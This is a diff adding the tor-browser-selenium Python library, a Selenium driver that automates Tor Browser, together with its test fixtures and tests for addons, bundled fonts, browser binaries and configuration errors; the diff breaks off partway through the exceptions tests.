--- /dev/null
+++ b/tor-browser-selenium/tbselenium/tbdriver.py
@@ -0,0 +1,340 @@
+import shutil
+from os import environ, chdir
+from os.path import isdir, isfile, join, abspath
+from time import sleep
+from distutils.version import LooseVersion
+from selenium import webdriver
+from selenium.webdriver.support.ui import WebDriverWait
+from selenium.webdriver.support import expected_conditions as EC
+from selenium.webdriver.common.by import By
+from selenium.webdriver import DesiredCapabilities
+from selenium.webdriver.firefox.webdriver import WebDriver as FirefoxDriver
+import tbselenium.common as cm
+from tbselenium.utils import add_canvas_permission, prepend_to_env_var, is_busy
+from tbselenium.tbbinary import TBBinary
+from tbselenium.exceptions import (TBDriverConfigError, TBDriverPortError,
+                                   TBDriverPathError)
+
+
+try:
+    from httplib import CannotSendRequest
+except ImportError:
+    from http.client import CannotSendRequest
+
+
+class TorBrowserDriver(FirefoxDriver):
+    """
+    Extend Firefox webdriver to automate Tor Browser.
+    """
+    def __init__(self,
+                 tbb_path="",
+                 tor_cfg=cm.LAUNCH_NEW_TBB_TOR,
+                 tbb_fx_binary_path="",
+                 tbb_profile_path="",
+                 tbb_logfile_path="",
+                 tor_data_dir="",
+                 pref_dict={},
+                 socks_port=None,
+                 control_port=None,
+                 extensions=[],
+                 canvas_allowed_hosts=[]):
+
+        self.tor_cfg = tor_cfg
+        self.setup_tbb_paths(tbb_path, tbb_fx_binary_path,
+                             tbb_profile_path, tor_data_dir)
+        self.canvas_allowed_hosts = canvas_allowed_hosts
+        self.profile = webdriver.FirefoxProfile(self.tbb_profile_path)
+        add_canvas_permission(self.profile.path, self.canvas_allowed_hosts)
+        self.install_extensions(extensions)
+        self.init_ports(tor_cfg, socks_port, control_port)
+        self.init_prefs(pref_dict)
+        self.init_tb_version()
+        self.setup_capabilities()
+        self.export_env_vars()
+        self.binary = self.get_tb_binary(logfile=tbb_logfile_path)
+        self.binary.add_command_line_options('--class', '"Tor Browser"')
+        super(TorBrowserDriver, self).__init__(firefox_profile=self.profile,
+                                               firefox_binary=self.binary,
+                                               capabilities=self.capabilities,
+                                               timeout=cm.TB_INIT_TIMEOUT)
+        self.is_running = True
+        sleep(1)
+
+    def install_extensions(self, extensions):
+        for extension in extensions:
+            self.profile.add_extension(extension)
+
+    def init_ports(self, tor_cfg, socks_port, control_port):
+        """Check SOCKS port and Tor config inputs."""
+        if tor_cfg not in [cm.USE_RUNNING_TOR, cm.LAUNCH_NEW_TBB_TOR]:
+            raise TBDriverConfigError("Unrecognized tor_cfg: %s" % tor_cfg)
+
+        if socks_port is None:
+            if tor_cfg == cm.USE_RUNNING_TOR:
+                socks_port = cm.DEFAULT_SOCKS_PORT  # 9050
+            else:
+                socks_port = cm.TBB_SOCKS_PORT  # 9150
+
+        if control_port is None:
+            if tor_cfg == cm.USE_RUNNING_TOR:
+                control_port = cm.DEFAULT_CONTROL_PORT  # 9051
+            else:
+                control_port = cm.TBB_CONTROL_PORT  # 9151
+
+        if tor_cfg == cm.LAUNCH_NEW_TBB_TOR:
+            if is_busy(socks_port):
+                raise TBDriverPortError("SOCKS port %s is already in use"
+                                        % socks_port)
+            if is_busy(control_port):
+                raise TBDriverPortError("Control port %s is already in use"
+                                        % control_port)
+            if socks_port != cm.TBB_SOCKS_PORT or\
+                    control_port != cm.TBB_CONTROL_PORT:
+                # No support for launching TBB's Tor on a custom port, use Stem
+                raise TBDriverPortError("Can only launch Tor on TBB's default"
+                                        "ports (9150-9151). Use Stem for"
+                                        "launching Tor on a custom ports")
+        elif tor_cfg == cm.USE_RUNNING_TOR:
+            if not is_busy(socks_port):
+                raise TBDriverPortError("SOCKS port %s is not listening"
+                                        % socks_port)
+
+        self.socks_port = socks_port
+        self.control_port = control_port
+
+    def setup_tbb_paths(self, tbb_path, tbb_fx_binary_path, tbb_profile_path,
+                        tor_data_dir):
+        """Update instance variables based on the passed paths.
+
+        TorBrowserDriver can be initialized by passing either
+        1) path to TBB directory, or
+        2) path to TBB's Firefox binary and profile
+        """
+        if not (tbb_path or (tbb_fx_binary_path and tbb_profile_path)):
+            raise TBDriverPathError("Either TBB path or Firefox profile"
+                                    " and binary path should be provided"
+                                    " %s" % tbb_path)
+
+        if tbb_path:
+            if not isdir(tbb_path):
+                raise TBDriverPathError("TBB path is not a directory %s"
+                                        % tbb_path)
+            tbb_fx_binary_path = join(tbb_path, cm.DEFAULT_TBB_FX_BINARY_PATH)
+            tbb_profile_path = join(tbb_path, cm.DEFAULT_TBB_PROFILE_PATH)
+        if not isfile(tbb_fx_binary_path):
+            raise TBDriverPathError("Invalid Firefox binary %s"
+                                    % tbb_fx_binary_path)
+        if not isdir(tbb_profile_path):
+            raise TBDriverPathError("Invalid Firefox profile dir %s"
+                                    % tbb_profile_path)
+        self.tbb_path = abspath(tbb_path)
+        self.tbb_profile_path = abspath(tbb_profile_path)
+        self.tbb_fx_binary_path = abspath(tbb_fx_binary_path)
+        self.tbb_browser_dir = join(tbb_path, cm.DEFAULT_TBB_BROWSER_DIR)
+        if tor_data_dir:
+            self.tor_data_dir = tor_data_dir  # only relevant if we launch tor
+        else:
+            self.tor_data_dir = join(tbb_path, cm.DEFAULT_TOR_DATA_PATH)
+        # TB can't find bundled "fonts" if we don't switch to tbb_browser_dir
+        chdir(self.tbb_browser_dir)
+
+    def load_url(self, url, wait_on_page=0, wait_for_page_body=False):
+        """Load a URL and wait before returning.
+
+        If you query/manipulate DOM or execute a script immediately
+        after the page load, you may get the following error:
+
+            "WebDriverException: Message: waiting for doc.body failed"
+
+        To prevent this, set wait_for_page_body to True, and driver
+        will wait for the page body to become available before it returns.
+
+        """
+        self.get(url)
+        if wait_for_page_body:
+            # if the page can't be loaded this will raise a TimeoutException
+            self.find_element_by("body", find_by=By.TAG_NAME)
+        sleep(wait_on_page)
+
+    def find_element_by(self, selector, timeout=30,
+                        find_by=By.CSS_SELECTOR):
+        """Wait until the element matching the selector appears or timeout."""
+        return WebDriverWait(self, timeout).until(
+            EC.presence_of_element_located((find_by, selector)))
+
+    def add_ports_to_fx_banned_ports(self, socks_port, control_port):
+        """By default, ports 9050,9051,9150,9151 are banned in TB.
+
+        If we use a tor process running on a custom SOCKS port, we add SOCKS
+        and control ports to the following prefs:
+            network.security.ports.banned
+            extensions.torbutton.banned_ports
+        """
+        if socks_port in cm.KNOWN_SOCKS_PORTS:
+            return
+        tb_prefs = self.profile.default_preferences
+        set_pref = self.profile.set_preference
+        DEFAULT_BANNED_PORTS = "9050,9051,9150,9151"
+        for port_ban_pref in cm.PORT_BAN_PREFS:
+            banned_ports = tb_prefs.get(port_ban_pref, DEFAULT_BANNED_PORTS)
+            set_pref(port_ban_pref, "%s,%s,%s" %
+                     (banned_ports, socks_port, control_port))
+
+    def set_tb_prefs_for_using_system_tor(self, control_port):
+        """Set the preferences suggested by start-tor-browser script
+        to run TB with system-installed Tor.
+
+        We set these prefs for running with Tor started with Stem as well.
+        """
+        set_pref = self.profile.set_preference
+        # Prevent Tor Browser running its own Tor process
+        set_pref('extensions.torlauncher.start_tor', False)
+        # TODO: investigate why we're asked to disable 'block_disk'
+        set_pref('extensions.torbutton.block_disk', False)
+        set_pref('extensions.torbutton.custom.socks_host', '127.0.0.1')
+        set_pref('extensions.torbutton.custom.socks_port', self.socks_port)
+        set_pref('extensions.torbutton.inserted_button', True)
+        set_pref('extensions.torbutton.launch_warning', False)
+        set_pref('extensions.torbutton.loglevel', 2)
+        set_pref('extensions.torbutton.logmethod', 0)
+        set_pref('extensions.torbutton.settings_method', 'custom')
+        set_pref('extensions.torbutton.use_privoxy', False)
+        set_pref('extensions.torlauncher.control_port', control_port)
+        set_pref('extensions.torlauncher.loglevel', 2)
+        set_pref('extensions.torlauncher.logmethod', 0)
+        set_pref('extensions.torlauncher.prompt_at_startup', False)
+
+    def init_prefs(self, pref_dict):
+        self.add_ports_to_fx_banned_ports(self.socks_port, self.control_port)
+        set_pref = self.profile.set_preference
+        set_pref('browser.startup.page', "0")
+        set_pref('browser.startup.homepage', 'about:newtab')
+        set_pref('extensions.torlauncher.prompt_at_startup', 0)
+        # load strategy normal is equivalent to "onload"
+        set_pref('webdriver.load.strategy', 'normal')
+        # disable auto-update
+        set_pref('app.update.enabled', False)
+        set_pref('extensions.torbutton.versioncheck_enabled', False)
+        # following is only needed for TBB < 4.5a3 to add canvas permissions
+        if self.canvas_allowed_hosts:
+            set_pref('permissions.memory_only', False)
+        set_pref('extensions.torbutton.prompted_language', True)
+        # Configure Firefox to use Tor SOCKS proxy
+        set_pref('network.proxy.socks_port', self.socks_port)
+        set_pref('extensions.torbutton.socks_port', self.socks_port)
+        set_pref('extensions.torlauncher.control_port', self.control_port)
+        if self.tor_cfg == cm.LAUNCH_NEW_TBB_TOR:
+            set_pref('extensions.torlauncher.start_tor', True)
+            set_pref('extensions.torlauncher.tordatadir_path',
+                     self.tor_data_dir)
+            set_pref('extensions.torlauncher.tor_path',
+                     join(self.tbb_path, cm.DEFAULT_TOR_BINARY_PATH))
+            # TBB > 6.0a5 cannot find the right path for torrc and
+            # torrc-defaults unless we set the corresponding pref.
+            # This should be due to the fix for #13252
+            torrc_path = join(self.tor_data_dir, "torrc")
+            set_pref('extensions.torlauncher.torrc_path', torrc_path)
+            # Fall back to torrc-defaults in tbb_path if it's not present
+            # in the (custom) tor_data_dir
+            torrc_defaults_path = join(self.tor_data_dir, "torrc-defaults")
+            if not isfile(torrc_defaults_path):
+                torrc_defaults_path = join(self.tbb_path,
+                                           cm.DEFAULT_TOR_DATA_PATH,
+                                           "torrc-defaults")
+            set_pref('extensions.torlauncher.torrc-defaults_path',
+                     torrc_defaults_path)
+        else:
+            self.set_tb_prefs_for_using_system_tor(self.control_port)
+        # pref_dict overwrites above preferences
+        for pref_name, pref_val in pref_dict.items():
+            set_pref(pref_name, pref_val)
+        self.profile.update_preferences()
+
+    def export_env_vars(self):
+        """Setup LD_LIBRARY_PATH and HOME environment variables.
+
+        We follow start-tor-browser script.
+        """
+        tor_binary_dir = join(self.tbb_path, cm.DEFAULT_TOR_BINARY_DIR)
+        environ["LD_LIBRARY_PATH"] = tor_binary_dir
+        environ["FONTCONFIG_PATH"] = join(self.tbb_path,
+                                          cm.DEFAULT_FONTCONFIG_PATH)
+        environ["FONTCONFIG_FILE"] = cm.FONTCONFIG_FILE
+        environ["HOME"] = self.tbb_browser_dir
+        # Add "TBB_DIR/Browser" to the PATH, see issue #10.
+        prepend_to_env_var("PATH", self.tbb_browser_dir)
+
+    def setup_capabilities(self):
+        """Setup the required webdriver capabilities."""
+        self.capabilities = DesiredCapabilities.FIREFOX
+        self.capabilities.update({'handlesAlerts': True,
+                                  'databaseEnabled': True,
+                                  'javascriptEnabled': True,
+                                  'browserConnectionEnabled': True})
+
+    def get_tb_binary(self, logfile=None):
+        """Return FirefoxBinary pointing to the TBB's firefox binary."""
+        tbb_logfile = open(logfile, 'a+') if logfile else None
+        return TBBinary(firefox_path=self.tbb_fx_binary_path,
+                        log_file=tbb_logfile)
+
+    @property
+    def is_connection_error_page(self):
+        """Check if we get a connection error, i.e. 'Problem loading page'."""
+        return "ENTITY connectionFailure.title" in self.page_source
+
+    def init_tb_version(self):
+        self.tb_version = "Unknown"
+        version_file = join(self.tbb_path, cm.TB_VERSIONS_PATH)
+        for line in open(version_file):
+            if "TORBROWSER_VERSION=" in line:
+                self.tb_version = line.split("=")[-1]
+
+    @property
+    def supports_sec_slider(self):
+        """Checks if security slider is supported or not."""
+        version = self.tb_version
+        if not version or (LooseVersion(version) < LooseVersion('4.5')):
+            return False
+        return True
+
+    @property
+    def supports_bundled_fonts(self):
+        """Checks if shipped with bundled fonts or not."""
+        version = self.tb_version
+        # This comparison may fail for alpha versions, e.g. 4.5a1
+        if not version or (LooseVersion(version) < LooseVersion('4.5')):
+            return False
+        return True
+
+    def clean_up_profile_dirs(self):
+        """Remove temporary profile directories.
+        Only called when WebDriver.quit() is interrupted
+        """
+        tempfolder = self.profile.tempfolder
+        profile_path = self.profile.path
+
+        if tempfolder and isdir(tempfolder):
+            shutil.rmtree(tempfolder)
+        if isdir(profile_path):
+            shutil.rmtree(profile_path)
+
+    def quit(self):
+        """Quit the driver. Clean up if the parent's quit fails."""
+        self.is_running = False
+        try:
+            super(TorBrowserDriver, self).quit()
+        except (CannotSendRequest, AttributeError):
+            try:  # Clean up  if webdriver.quit() throws
+                if hasattr(self, "binary"):
+                    self.binary.kill()
+                if hasattr(self, "profile"):
+                    self.clean_up_profile_dirs()
+            except Exception as e:
+                print("[tbselenium] Exception while quitting: %s" % e)
+
+    def __enter__(self):
+        return self
+
+    def __exit__(self, exc_type, value, traceback):
+        self.quit()
diff --git a/tor-browser-selenium/tbselenium/test/__init__.py b/tor-browser-selenium/tbselenium/test/__init__.py
new file mode 100644
index 00000000..4b95b838
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/__init__.py
@@ -0,0 +1,13 @@
+# Environment variable that points to TBB directory:
+from os import environ
+from os.path import abspath, isdir
+from tbselenium.exceptions import TBTestEnvVarError
+
+TBB_PATH = environ.get('TBB_PATH')
+
+if TBB_PATH is None:
+    raise TBTestEnvVarError("Environment variable `TBB_PATH` can't be found.")
+
+TBB_PATH = abspath(TBB_PATH)
+if not isdir(TBB_PATH):
+    raise TBTestEnvVarError("TBB_PATH is not a directory: %s" % TBB_PATH)
diff --git a/tor-browser-selenium/tbselenium/test/conftest.py b/tor-browser-selenium/tbselenium/test/conftest.py
new file mode 100644
index 00000000..67666ec7
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/conftest.py
@@ -0,0 +1,34 @@
+from os import environ
+import tempfile
+from tbselenium.utils import start_xvfb, stop_xvfb, is_busy
+from tbselenium.test.fixtures import launch_tbb_tor_with_stem_fixture
+import tbselenium.common as cm
+from tbselenium.test import TBB_PATH
+
+test_conf = {}
+
+
+def launch_tor():
+    temp_data_dir = tempfile.mkdtemp()
+    torrc = {'ControlPort': str(cm.DEFAULT_CONTROL_PORT),
+             'SOCKSPort': str(cm.DEFAULT_SOCKS_PORT),
+             'DataDirectory': temp_data_dir}
+    if not is_busy(cm.DEFAULT_SOCKS_PORT):
+        launch_tbb_tor_with_stem_fixture(tbb_path=TBB_PATH, torrc=torrc)
+
+
+def pytest_sessionstart(session):
+    if "TRAVIS" not in environ and "NO_XVFB" not in environ:
+        test_conf["xvfb_display"] = start_xvfb()
+    if "TRAVIS" in environ:
+        test_conf["tor_process"] = launch_tor()
+
+
+def pytest_sessionfinish(session, exitstatus):
+    xvfb_display = test_conf.get("xvfb_display")
+    tor_process = test_conf.get("tor_process")
+    if xvfb_display:
+        stop_xvfb(xvfb_display)
+
+    if tor_process:
+        tor_process.kill()
diff --git a/tor-browser-selenium/tbselenium/test/fixtures.py b/tor-browser-selenium/tbselenium/test/fixtures.py
new file mode 100644
index 00000000..823b1d6f
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/fixtures.py
@@ -0,0 +1,103 @@
+import os
+import tempfile
+from socket import error as socket_error
+from tbselenium.tbdriver import TorBrowserDriver
+import tbselenium.common as cm
+from tbselenium.exceptions import StemLaunchError, TorBrowserDriverInitError
+from tbselenium.utils import launch_tbb_tor_with_stem, is_busy, read_file
+from selenium.common.exceptions import TimeoutException, WebDriverException
+
+try:
+    from httplib import CannotSendRequest
+except ImportError:
+    from http.client import CannotSendRequest
+
+
+MAX_FIXTURE_TRIES = 3
+
+# make sure TB logs to a file, print if init fails
+FORCE_TB_LOGS_DURING_TESTS = True
+
+
+class TBDriverFixture(TorBrowserDriver):
+    """Extend TorBrowserDriver to have fixtures for tests."""
+    def __init__(self, *args, **kwargs):
+        self.change_default_tor_cfg(kwargs)
+        last_err = None
+        for tries in range(MAX_FIXTURE_TRIES):
+            try:
+                return super(TBDriverFixture, self).__init__(*args, **kwargs)
+            except (TimeoutException, WebDriverException,
+                    socket_error) as last_err:
+                print ("\nTBDriver init error. Attempt %s %s" %
+                       ((tries + 1), last_err))
+                if FORCE_TB_LOGS_DURING_TESTS:
+                    logs = read_file(kwargs.get("tbb_logfile_path"))
+                    if len(logs):
+                        print("TB logs:\n%s\n(End of TB logs)" % logs)
+                super(TBDriverFixture, self).quit()  # clean up
+                continue
+        # Raise if we didn't return yet
+        to_raise = last_err if last_err else\
+            TorBrowserDriverInitError("Cannot initialize")
+        raise to_raise
+
+    def __del__(self):
+        # remove the temp log file if we created
+        if FORCE_TB_LOGS_DURING_TESTS and os.path.isfile(self.log_file):
+            os.remove(self.log_file)
+
+    def change_default_tor_cfg(self, kwargs):
+        """Use system Tor if the caller doesn't specifically wants
+        to launch a new TBB Tor.
+
+        if FORCE_TB_LOGS_DURING_TESTS is True add a log file arg to make
+        it easier to debug the failures.
+
+        This makes tests faster and more robust against network
+        issues since otherwise we'd have to launch a new Tor process
+        for each test.
+        """
+
+        if kwargs.get("tor_cfg") is None and is_busy(cm.DEFAULT_SOCKS_PORT):
+            kwargs["tor_cfg"] = cm.USE_RUNNING_TOR
+        if FORCE_TB_LOGS_DURING_TESTS and\
+                kwargs.get("tbb_logfile_path") is None:
+            _, self.log_file = tempfile.mkstemp()
+            kwargs["tbb_logfile_path"] = self.log_file
+
+    def load_url_ensure(self, *args, **kwargs):
+        """Make sure the requested URL is loaded. Retry if necessary."""
+        last_err = None
+        for tries in range(MAX_FIXTURE_TRIES):
+            try:
+                self.load_url(*args, **kwargs)
+                if self.current_url != "about:newtab" and \
+                        not self.is_connection_error_page:
+                    return
+            except (TimeoutException,
+                    CannotSendRequest) as last_err:
+                print ("\nload_url timed out.  Attempt %s %s" %
+                       ((tries + 1), last_err))
+                continue
+        # Raise if we didn't return yet
+        to_raise = last_err if last_err else\
+            WebDriverException("Can't load the page")
+        raise to_raise
+
+
+def launch_tbb_tor_with_stem_fixture(*args, **kwargs):
+    last_err = None
+    for tries in range(MAX_FIXTURE_TRIES):
+        try:
+            return launch_tbb_tor_with_stem(*args, **kwargs)
+        except OSError as last_err:
+            print ("\nlaunch_tor try %s %s" % ((tries + 1), last_err))
+            if "timeout without success" in str(last_err):
+                continue
+            else:  # we don't want to retry if this is not a timeout
+                raise
+    # Raise if we didn't return yet
+    to_raise = last_err if last_err else\
+        StemLaunchError("Cannot start Tor")
+    raise to_raise
diff --git a/tor-browser-selenium/tbselenium/test/test_addons.py b/tor-browser-selenium/tbselenium/test/test_addons.py
new file mode 100644
index 00000000..49ebe8d7
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_addons.py
@@ -0,0 +1,84 @@
+import os
+import unittest
+import pytest
+
+from selenium.webdriver.support import expected_conditions as EC
+from selenium.webdriver.support.ui import WebDriverWait
+
+from tbselenium import common as cm
+from tbselenium.test import TBB_PATH
+from tbselenium.test.fixtures import TBDriverFixture
+
+
+class HTTPSEverywhereTest(unittest.TestCase):
+
+    # Test URLs are taken from the TBB test suite
+    # https://gitweb.torproject.org/boklm/tor-browser-bundle-testsuite.git/tree/marionette/tor_browser_tests/test_https-everywhere.py#n18
+    HE_HTTP_URL = "http://www.freedomboxfoundation.org/thanks/"
+    HE_HTTPS_URL = "https://www.freedomboxfoundation.org/thanks/"
+    TEST_LONG_WAIT = 60
+
+    def test_https_everywhere_redirection(self):
+        with TBDriverFixture(TBB_PATH) as driver:
+            driver.load_url_ensure(self.HE_HTTP_URL)
+            WebDriverWait(driver, self.TEST_LONG_WAIT).\
+                until(EC.title_contains("thanks"))
+            self.assertEqual(driver.current_url, self.HE_HTTPS_URL)
+
+    def test_https_everywhere_disabled(self):
+        """Make sure the HTTP->HTTPS redirection in the above test
+        is due to HTTPSEverywhere - not because the site is forwarding
+        to HTTPS by default.
+
+        We have to find another test site if this test starts to fail.
+        """
+
+        disable_HE_pref = {"extensions.https_everywhere.globalEnabled": False}
+        with TBDriverFixture(TBB_PATH, pref_dict=disable_HE_pref) as driver:
+            driver.load_url_ensure(self.HE_HTTP_URL, 1)
+            self.assertEqual(driver.current_url, self.HE_HTTP_URL)
+
+
+class NoScriptTest(unittest.TestCase):
+
+    WEBGL_CHECK_JS = "var cvs = document.createElement('canvas');\
+                    return cvs.getContext('experimental-webgl');"
+
+    @pytest.mark.skipif(cm.TRAVIS, reason="CI doesn't support WebGL")
+    def test_noscript(self):
+        """NoScript should disable WebGL."""
+        with TBDriverFixture(TBB_PATH) as driver:
+            driver.load_url_ensure(cm.CHECK_TPO_URL,
+                                   wait_for_page_body=True)
+            webgl_support = driver.execute_script(self.WEBGL_CHECK_JS)
+            self.assertIsNone(webgl_support)
+
+    @pytest.mark.skipif(cm.TRAVIS, reason="CI doesn't support WebGL")
+    def test_noscript_webgl_enabled(self):
+        """Make sure that when we disable NoScript's WebGL blocking,
+        WebGL becomes available. This is to the test method we
+        use in test_noscript is sane.
+        """
+        disable_NS_webgl_pref = {"noscript.forbidWebGL": False}
+        with TBDriverFixture(TBB_PATH,
+                             pref_dict=disable_NS_webgl_pref) as driver:
+            driver.load_url_ensure(cm.CHECK_TPO_URL, wait_for_page_body=True)
+            webgl_support = driver.execute_script(self.WEBGL_CHECK_JS)
+            self.assertIn("getSupportedExtensions", webgl_support)
+
+
+class CustomExtensionTest(unittest.TestCase):
+
+    def test_should_install_custom_extension(self):
+        # We test if we can install the extension.
+        # We should improve the test by checking the expected outcome.
+        test_dir = os.path.dirname(os.path.realpath(__file__))
+        xpi_name = "xulschoolhello1.xpi"  # sample extension taken from:
+        # https://developer.mozilla.org/en-US/Add-ons/Overlay_Extensions/XUL_School/Getting_Started_with_Firefox_Extensions#Extension_Contents  # noqa
+        xpi_path = os.path.join(test_dir, "test_data", xpi_name)
+        with TBDriverFixture(TBB_PATH,
+                             extensions=[xpi_path]) as driver:
+            driver.load_url_ensure(cm.CHECK_TPO_URL)
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/tor-browser-selenium/tbselenium/test/test_browser.py b/tor-browser-selenium/tbselenium/test/test_browser.py
new file mode 100644
index 00000000..dfa82151
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_browser.py
@@ -0,0 +1,62 @@
+import pytest
+import sys
+import unittest
+import tempfile
+from tbselenium.test.fixtures import TBDriverFixture
+from tbselenium import common as cm
+from tbselenium.test import TBB_PATH
+from tbselenium.utils import read_file
+
+from os.path import exists, getmtime, join
+from os import remove
+
+
+class TorBrowserTest(unittest.TestCase):
+
+    @classmethod
+    def setUpClass(cls):
+        _, cls.log_file = tempfile.mkstemp()
+        cls.driver = TBDriverFixture(TBB_PATH, tbb_logfile_path=cls.log_file)
+
+    @classmethod
+    def tearDownClass(cls):
+        if cls.driver:
+            cls.driver.quit()
+        if exists(cls.log_file):
+            remove(cls.log_file)
+
+    def test_correct_firefox_binary(self):
+        self.assertTrue(self.driver.binary.which('firefox').
+                        startswith(TBB_PATH))
+
+    def test_tbb_logfile(self):
+        log_txt = read_file(self.log_file)
+        self.assertIn("torbutton@torproject.org", log_txt)
+        self.assertIn("addons.manager", log_txt)
+
+    @pytest.mark.skipif(sys.platform != 'linux2', reason='Requires Linux')
+    def test_should_load_tbb_firefox_libs(self):
+        """Make sure we load the Firefox libraries from the TBB directories.
+        We only test libxul (main Firefox/Gecko library) and libstdc++.
+
+        The memory map of the TB process is used to find loaded libraries.
+        http://man7.org/linux/man-pages/man5/proc.5.html
+        """
+
+        driver = self.driver
+        pid = driver.binary.process.pid
+        xul_lib_path = join(driver.tbb_browser_dir, "libxul.so")
+        std_c_lib_path = join(driver.tbb_path, cm.DEFAULT_TOR_BINARY_DIR,
+                              "libstdc++.so.6")
+        proc_mem_map_file = "/proc/%d/maps" % (pid)
+        mem_map = read_file(proc_mem_map_file)
+        self.assertIn(xul_lib_path, mem_map)
+        self.assertIn(std_c_lib_path, mem_map)
+
+    def test_tbdriver_fx_profile_not_be_modified(self):
+        """Visiting a site should not modify the original profile contents."""
+        profile_path = join(TBB_PATH, cm.DEFAULT_TBB_PROFILE_PATH)
+        mtime_before = getmtime(profile_path)
+        self.driver.load_url_ensure(cm.CHECK_TPO_URL)
+        mtime_after = getmtime(profile_path)
+        self.assertEqual(mtime_before, mtime_after)
diff --git a/tor-browser-selenium/tbselenium/test/test_bundled_fonts.py b/tor-browser-selenium/tbselenium/test/test_bundled_fonts.py
new file mode 100644
index 00000000..38e8448a
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_bundled_fonts.py
@@ -0,0 +1,66 @@
+import sys
+import re
+import tempfile
+import pytest
+import unittest
+from os import environ, listdir
+from os.path import join, basename
+from tbselenium import common as cm
+from tbselenium.test import TBB_PATH
+from tbselenium.test.fixtures import TBDriverFixture
+import tbselenium.utils as ut
+
+
+@pytest.mark.skipif(sys.platform != 'linux2', reason='Requires Linux')
+class TBBundledFonts(unittest.TestCase):
+    """Use fontconfig's FC_DEBUG logs to test font bundling."""
+
+    @classmethod
+    def setUpClass(cls):
+        _, log_file = tempfile.mkstemp()
+        # https://www.freedesktop.org/software/fontconfig/fontconfig-user.html
+        environ["FC_DEBUG"] = "%d" % (1024 + 8 + 1)
+        cls.driver = TBDriverFixture(TBB_PATH, tbb_logfile_path=log_file)
+        driver = cls.driver
+        if not driver.supports_bundled_fonts:
+            cls.tearDownClass()
+            pytest.skip("Skip bundled font tests. V%s" % driver.tb_version)
+        driver.load_url_ensure("https://www.wikipedia.org/")
+        cls.log_txt = ut.read_file(log_file)
+        cls.bundled_fonts_dir = join(driver.tbb_path,
+                                     cm.DEFAULT_BUNDLED_FONTS_PATH)
+        cls.bundled_font_files = set(listdir(cls.bundled_fonts_dir))
+
+    @classmethod
+    def tearDownClass(cls):
+        if cls.driver:
+            cls.driver.quit()
+
+    def test_should_load_font_config_file(self):
+        fonts_conf_path = join(self.driver.tbb_path,
+                               cm.DEFAULT_FONTS_CONF_PATH)
+        expected_log = "Loading config file %s" % fonts_conf_path
+        self.assertIn(expected_log, self.log_txt)
+
+    def test_should_add_bundled_fonts(self):
+        expected_pattern = r"adding fonts from\s?%s" % self.bundled_fonts_dir
+        self.assertRegexpMatches(self.log_txt, expected_pattern)
+
+    def test_should_not_fail_to_choose_fonts(self):
+        ugly_warning = "failed to choose a font, expect ugly output"
+        self.assertNotIn(ugly_warning, self.log_txt)
+
+    def test_tbb_should_include_bundled_font_files(self):
+        self.assertTrue(len(self.bundled_font_files) > 0)
+
+    def test_should_only_load_and_use_bundled_fonts(self):
+        used_font_files = set()
+        # search in fontconfig logs
+        for _, ttf, _ in re.findall(r"(file: \")(.*)(\".*)", self.log_txt):
+            self.assertIn(self.bundled_fonts_dir, ttf)
+            used_font_files.add(basename(ttf))
+        self.assertEqual(used_font_files, self.bundled_font_files)
+
+
+if __name__ == "__main__":
+    unittest.main()
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diff --git a/tor-browser-selenium/tbselenium/test/test_env.py b/tor-browser-selenium/tbselenium/test/test_env.py
new file mode 100644
index 00000000..310d894c
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_env.py
@@ -0,0 +1,14 @@
+import unittest
+from distutils.version import LooseVersion
+
+
+class EnvironmentTest(unittest.TestCase):
+
+    def test_selenium_version(self):
+        import selenium
+        pkg_ver = selenium.__version__
+        self.assertGreaterEqual(LooseVersion(pkg_ver), LooseVersion("2.45"))
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/tor-browser-selenium/tbselenium/test/test_exceptions.py b/tor-browser-selenium/tbselenium/test/test_exceptions.py
new file mode 100644
index 00000000..a91d01cf
--- /dev/null
+++ b/tor-browser-selenium/tbselenium/test/test_exceptions.py
@@ -0,0 +1,142 @@
+import unittest
+from os.path import isdir, join
+import tempfile
+import socket
+
+from selenium.webdriver.common.utils import free_port
+
+from tbselenium.test import TBB_PATH
+from tbselenium.test.fixtures import TBDriverFixture
+from tbselenium import common as cm
+from tbselenium.tbdriver import TorBrowserDriver
+from tbselenium.utils import launch_tbb_tor_with_stem, is_busy
+from tbselenium.exceptions import (TBDriverPathError,
+                                   TBDriverPortError,
+                                   TBDriverConfigError, StemLaunchError)
+
+MISSING_DIR = "_no_such_directory_"
+MISSING_FILE = "_no_such_file_"
+
+
+class TBDriverExceptions(unittest.TestCase):
+    def setUp(self):
+        self.open_sockets = []
+
+    def tearDown(self):
+        for skt in self.open_sockets:
+            skt.close()
+
+    def occupy_port(self, port_no):
+        """Occupy the given port to simulate a port conflict."""
+        if is_busy(port_no):  # already occupied, nothing to do
+            return
+        skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        skt.bind(("localhost", port_no))
+        skt.listen(1)
+        self.open_sockets.append(skt)
+
+    def test_should_raise_for_missing_paths(self):
+        with self.assertRaises(TBDriverPathError) as exc:
+            TorBrowserDriver()
+        self.assertEqual(str(exc.exception),
+                         "Either TBB path or Firefox profile and binary path "
+                         "should be provided ")
+
+    def test_should_raise_for_missing_tbb_path(self):
+        with self.assertRaises(TBDriverPathError) as exc:
+            TorBrowserDriver(tbb_path=MISSING_DIR)
+        self.assertEqual(str(exc.exception),
+                         "TBB path is not a directory %s" % MISSING_DIR)
+
+    def test_should_raise_for_missing_fx_binary(self):
+        tbb_profile_path = join(TBB_PATH, cm.DEFAULT_TBB_PROFILE_PATH)
+        with self.assertRaises(TBDriverPathError) as exc:
+            TorBrowserDriver(tbb_fx_binary_path=MISSING_FILE,
+                             tbb_profile_path=tbb_profile_path)
+        self.assertEqual(str(exc.exception),
+                         "Invalid Firefox binary %s" % MISSING_FILE)
+
+    def test_should_raise_for_missing_fx_profile(self):
+        fx_binary = join(TBB_PATH, cm.DEFAULT_TBB_FX_BINARY_PATH)
+        with self.assertRaises(TBDriverPathError) as exc:
+            TorBrowserDriver(tbb_fx_binary_path=fx_binary,
+                             tbb_profile_path=MISSING_DIR)
+        self.assertEqual(str(exc.exception),
+                         "Invalid Firefox profile dir %s" % MISSING_DIR)
+
